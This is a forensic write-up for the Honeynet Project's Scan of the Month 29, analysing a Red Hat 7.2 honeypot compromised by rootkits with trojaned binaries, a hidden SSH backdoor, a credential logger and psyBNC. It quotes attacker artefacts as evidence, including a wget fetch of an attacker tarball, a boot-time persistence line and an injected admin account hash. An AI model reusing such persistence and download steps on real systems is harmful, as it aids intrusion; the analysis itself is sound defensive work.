Honeynet Project

Scan of the Month 29

An analysis of a compromised Red Hat 7.2 honeypot by Maxime Gaillard

Questions :

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

Explain the impact that your actions had on the running system.
List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).
Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?
How many instances of an SSH server were installed and at what times?
Which instances of the SSH servers from question 5 were run?
Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?
Which system executables (if any) were trojaned and what configuration files did they use?
How and from where was the system likely compromised?

Bonus Question:
What nationality do you believe the attacker(s) to be, and why?

Introduction

After downloaded and verified the image, ensured that VMware is working correctly, I am ready to analyse it.

First, I lauch a tcpdump on my vmnet8 interface to capture what can go from this interface as my VMware is in a bridged mode.

Here are some of the most interesting details of my investigation on this honeypot.

Single user mode

Then, I boot in single user mode in order to minimize the impact I am doing on the system while backuping some important files from /etc.

Just before the prompt we can see :

/etc/rc.sysinit: kflushd: command not found

which can be a suspect message. An investigation on /etc/rc.sysinit will be done later.

I got some mail in root's mailbox : sa can not run ... Why ? Because there is no /var/log/sa where to put logs. Moreover /var looks strange : no directories, and /var/log/messages is pointing on /dev/null as our ~/.bash_history file !

So we can not trust the logs.

I create /root/scan in which I'll keep some files for forensics. I backup some importants file from /etc in /root/scan.

Now I can change the root password for booting in the default runlevel.

Default runlevel

While lauching runlevel 3, I can see some errors during the boot.

Then I tried to see what happen when using netstat (what are the open ports and the application listening) :

[root@localhost scan]# netstat -anlp

netstat: invalid option – l

?? I know that this exists on a normal RH 7.2 system, so it looks that netstat is trojaned or modified.

Let's verify it using rpm :

[root@localhost scan]# rpm -Va > /root/scan/rpm_modifs

I then discovered a lot of modifed files, including important binaries like : ps, top, netstat, ifconfig or ls ! Here are the traces of a rootkit.

So I decided to get some fresh and normal binaries from a non corrupted Red Hat 7.2 and put them in /root/scan/bin. Then I exported my PATH :

[root@localhost scan]# export PATH=/root/scan/bin:$PATH

So when using netstat -anlp :

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 886/smbd

tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 704/identd

tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 34/smbd -D

tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 729/sshd

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 768/xinetd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 798/sendmail: accep

udp 0 0 192.168.127.2:137 0.0.0.0:* 891/nmbd

udp 0 0 0.0.0.0:137 0.0.0.0:* 891/nmbd

udp 0 0 192.168.127.2:138 0.0.0.0:* 891/nmbd

udp 0 0 0.0.0.0:138 0.0.0.0:* 891/nmbd

Active UNIX domain sockets (servers and established)

...

So some ports are interesting :

TCP 2003 open by a process named 'smd -D'
xinetd (finger) and identd are open (can be normal)

By telneting the honeypot on port 2003 I get :

Trying 192.168.127.2...

Connected to 192.168.127.2.

Escape character is '^]'.

SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! )

So it looks to be a hided SSH daemon on TCP port 2003. It is hided because original ps is not showing it, but the new one does (in /root/scan/bin) The PID of the process is 34.

I discovered some attributes on directories on the filesystem :

[root@localhost scan]# lsattr /

------------- //lost+found

------------- //dev

------------- //var

------------- //tmp

------------- //etc

------------- //usr

suSiadAc----- //bin

------------- //boot

------------- //home

------------- //initrd

------------- //lib

------------- //mnt

------------- //opt

------------- //root

suSiadAc----- //sbin

The same thing on /usr is showing :

[root@localhost scan]# lsattr /usr

------------- /usr//bin

------------- /usr//lib

------------- /usr//libexec

suSiadAc----- /usr//sbin

------------- /usr//share

------------- /usr//X11R6

------------- /usr//dict

------------- /usr//etc

------------- /usr//games

------------- /usr//include

------------- /usr//local

------------- /usr//src

------------- /usr//kerberos

------------- /usr//tmp

So the hacker has tried to protect the binaries directories in order to leave the corrupted binaries untouched.

Using ls, find and an imported stat, I found that the system was probably corrupted by a rootkit installed on the August 10th at 13:33:57 .

[root@localhost scan]# ls -ltr /usr

total 60

drwxr-xr-x 2 root root 4096 Feb 6 1996 src

drwxr-xr-x 2 root root 4096 Feb 6 1996 etc

drwxr-xr-x 2 root root 4096 Feb 6 1996 dict

drwxr-xr-x 7 root root 4096 Jul 14 13:52 X11R6

lrwxrwxrwx 1 root root 10 Jul 14 13:52 tmp -> ../var/tmp

drwxr-xr-x 12 root root 4096 Jul 14 13:52 local

drwxr-xr-x 4 root root 4096 Jul 14 13:53 kerberos

drwxr-xr-x 2 root root 4096 Jul 14 13:54 games

drwxr-xr-x 4 root root 4096 Jul 14 13:54 libexec

drwxr-xr-x 27 root root 4096 Jul 14 13:54 share

drwxr-xr-x 2 root root 4096 Jul 14 13:54 sbin

drwxr-xr-x 24 root root 4096 Aug 10 13:33 include

drwxr-xr-x 2 root root 8192 Aug 10 13:33 bin

drwxr-xr-x 15 root root 8192 Aug 10 15:30 lib

Another date looks to be important as well : August 10th at 15:30:54

[root@localhost scan]# stat /usr/lib

File: "/usr/lib"

Size: 8192 Blocks: 16 IO Block: 4096 Directory

Device: 801h/2049d Inode: 73602 Links: 15

Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Access: Sun Sep 28 15:34:36 2003

Modify: Sun Aug 10 15:30:54 2003

Change: Sun Aug 10 15:30:54 2003

[root@localhost scan]# stat /usr/bin/

File: "/usr/bin/"

Size: 8192 Blocks: 16 IO Block: 4096 Directory

Device: 801h/2049d Inode: 58884 Links: 2

Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Access: Sun Sep 28 16:03:17 2003

Modify: Sun Aug 10 13:33:57 2003

Change: Sun Aug 10 13:33:57 2003

Effectively we found some unusal things in theses directories. The most interesting are :

Some binaries in /usr/bin like logclear, crontabs, smbd -D and (swapd)
A directory : /lib/.x : probably the installation directory of a rootkit (lot of scripts and binaries inside). This is SucKIT version 1.3b by Unseen <unseen@broken.org>
Files in /usr/lib :
- A directory libshtift with the original binaries (ifconfig, ls, netstat, ps and top) (installed at 13:33)
- 2 well known kernel modules (LKMs) : adore.o and cleaner.o, both parts of the adore rootkit (installed at 15:30). It might be controlled by /lib/.x/sk.
- A file libice.log which looks to contain a log trace of a connection from proxyscan.undernet.org to the honeypot adress. Just a remark :

[root@localhost scan]# strings /usr/lib/$swapd$ shows /usr/lib/libice.log

It is maybe a call to this file, to log connection attempts.

Another file : libshlog which contain the username, password and hostname of people connecting with SSH on port 2003.
Another SSH server named sp0 with the associated config files : sp0_key, sp0_cfg, sp0_seed. Look at the UID/GID owner of the files :

[root@localhost scan]# ls -la /usr/lib/sp0*

-rwx------ 1 apache apache 230163 Jun 1 21:03 sp0

-rw-r--r-- 1 apache apache 621 Jun 1 21:03 sp0_cfg

-rw-r--r-- 1 apache apache 532 Feb 9 2000 sp0_key

-rw-r--r-- 1 apache apache 513 Feb 9 2000 sp0_seed

It was probably executed by the HTTP daemon apache.

Look at the dates... It looks to be modified the last time on the Jun 1 21:03 but in fact, stat shows :

[root@localhost scan]# stat /usr/lib/sp0

File: "/usr/lib/sp0"

Size: 230163 Blocks: 464 IO Block: 4096 Regular File

Device: 801h/2049d Inode: 47165 Links: 1

Access: (0700/-rwx------) Uid: ( 48/ apache) Gid: ( 48/ apache)

Access: Sun Sep 28 18:52:15 2003

Modify: Sun Jun 1 21:03:03 2003

Change: Sun Aug 10 15:30:54 2003

It means that the dates have been modified, but we can still know that it provides from the second rootkit installed at 15:30.

Now, when searching on the filesystem all the modified files since the last modified ones on the system when it was not corrupted (like /usr/bin/nm86 for instance, modifed last on Jul, 16^th at 10:18)

[root@localhost scan]# find / -newer /usr/bin/nm86 2>/dev/null > /root/scan/new_files

The results are fascinating...

We see a /.bash_history file which contains :

...

hostname sbm79.dtc.apu.edu

...

wget izolam.net/sslstop.tar.gz

...

( See the rest in the attached files)

I discovered some modified files in /etc like :

a directory /etc/opt which contains a installation of psyBNC2.3.1.tar.gz
- The file /etc/opt/psybnc/log/psybnc.log is interesting : it shows the activity of the blackhats on IRC when they use psybnc. Look at theses lines :

...

Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)

Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro

Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic

Sun Aug 10 16:03:36 :User sic () has no server added

Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().

Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()

...

Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic

Sun Aug 10 17:50:51 :User redcode () has no server added

Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro

Sun Aug 10 17:51:22 :User redcode logged in.

Sun Aug 10 17:51:36 :User redcode () trying mesa.az.us.undernet.org port 6667 ().

Sun Aug 10 17:51:36 :User redcode () connected to mesa.az.us.undernet.org:6667 ()

...

It looks that two blackhats came and used the psybnc : sic and redcode, probably from Romania. They join on the Undernet the #Aiabuni and #RedCode channels.

When looking at the /etc/opt/psybnc/motd/USER2.MOTD file :

...

:mesa.az.us.undernet.org 372 killme :- .. your client must respond to ident[RFC1413] connections.

...

This is probably why identd and finger services are listening on the machine. They are necessary for using IRC and knowing if people is connected or not on the honeypot.

The psybnc has been installed on August, 10^th at 16h01 and has been last modifed at 18:00.

the /etc/passwd and /etc/shadow files are showing a unusual user admin with a md5 password :

... /etc/passwd ...

admin:x:15:50:User:/var/ftp:/bin/bash

... /etc/shadow ...

admin:$1$YAkCbk.7$JoZPsqqGxO.ImKonKAucm.:12248:0:99999:7:::

They certainly used this account on the machine to log in on the system.

The file /etc/rc.d/init.d/functions was modified at 13:33. Let's look at his last line :

/usr/bin/crontabs -t1 -X53 -p

The crontabs binary is lauching the smbd -D process, opening port 2003 on TCP on boot.

/etc/rc.d/rc.sysinit was modified to run kflushd but it doesn't exists.

Another interesting thing was the apache configuration, which has been modified by the /root/sslstop files (installed on August 10^th at 15:54). They stop or move the SSL port on apache from 443 to 114 on TCP .

We now have enough to answers the questions. Surely there are others things modified or corrupted on the system (like may be the kernel space with some kind if kernel modules like adore) . After running chkrootkit version 0.4.1 (the most up to date at this time), the scripts does not detect such modules.

Answers

Q 1 : Explain the impact that your actions had on the running system.

By using imported binaries from a normal system, and backuping important files while listening at the outgoing trafic with tcpdump, I tried to reduce the impact on the original system.

I used the RPM database a lot to discovered modified files with the verifying function of rpm.

The blackhats forgot to modify the MAC times (ie. with touch for instance) in order to hide their tracks on the filesystem. So I used the imported versions of stat and ls -lrta a lot of times to help me.

Q 2 : List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

The first is PID 34 : smbd -D which is a hided SSH server, launched at boot time.

Another one could be apache when started (as the SSL port has been modifed to TCP 114)

I can list as well finger and identd because even if they are *normal* services they are not activated in a default Red Hat Linux 7.2 installation and as I suspect them to be started for IRC and maybe user monitoring.

Q 3 : Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

There were probably connections for psybnc from :

sanido-09.is.pcnet.ro

sanido-08.is.pcnet.ro

When the rootkit located in /lib/.x is started by /lib/.x/.boot , it wants to send informations to the following email adress : skiZophrenia_sick@yahoo.com

The tcpdump started at the beginnig of my investigation only showed netbios trafic (UDP ports 137 and 138), done by the original samba daemon with the original installation (without activating the rootkit in /lib/.x).
If the psybnc daemon is started, it will be open the TCP port 65336 using the name initd.
If the rootkit locate in /lib/.x is executed and installed, it will open a UDP port 3049 with a bindshell. The process which listen at this port is a modified version of grep.

Q 4 : How many instances of an SSH server were installed and at what times?

The first one is the original SSH server, listening on TCP port 22, installed by rpm on the July 14^th at 13:54:37
Another one is : /usr/bin/smbd\ -D , listening on TCP port 2003, installed the August 10^th at 13:33:33
There is : /usr/lib/sp0 installed the August 10^th at 15:30:54
Last (may be not ! ) but not least : /lib/.x/s/xopen listening on TCP port 3128 installed the August 10^th at 15:32:16 (port is configured in /lib/.x/s/port)

Q 5 : Which instances of the SSH servers from question 5 were run?

Only the original SSH server and the first rootkit SSH server named smbd -D were run with the default runlevel.

Q 6 : Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

Yes, the smbd -D SSH server has been modified to log the username, password and hostname of people connecting on the TCP port 2003. Theses informations are collected in /usr/lib/libshlog.

Q 7 : Which system executables (if any) were trojaned and what configuration files did they use?

The following binaries have been trojaned :

/bin/ls
/bin/ps
/bin/netstat
/sbin/ifconfig
/usr/bin/top

We can find some configuration options for running the second rootkit in /lib/.x/.boot

Q 8 : How and from where was the system likely compromised?

I think the system was probably attacked by an exploit. This is how the blackhats gained root privileges and a shell access on the system. This exploit had maybe targeted the SSH daemon, which was vulnerable with this version on a default Red Hat Linux 7.2.

Bonus Question:
What nationality do you believe the attacker(s) to be, and why?

I mainly suspect two guys from Romania as this is the informations I got from /etc/opt/psybnc/log/psybnc.log .

But the attack might also be done from somewhere in the US. The hostname smb79.dtc.apu.edu found in /.bash_history is also strange...

To conclude, I would like to thanks the Honeynet Project for providing this really interesting and interactive challenge who occupied and trained my brain for some hours :) ...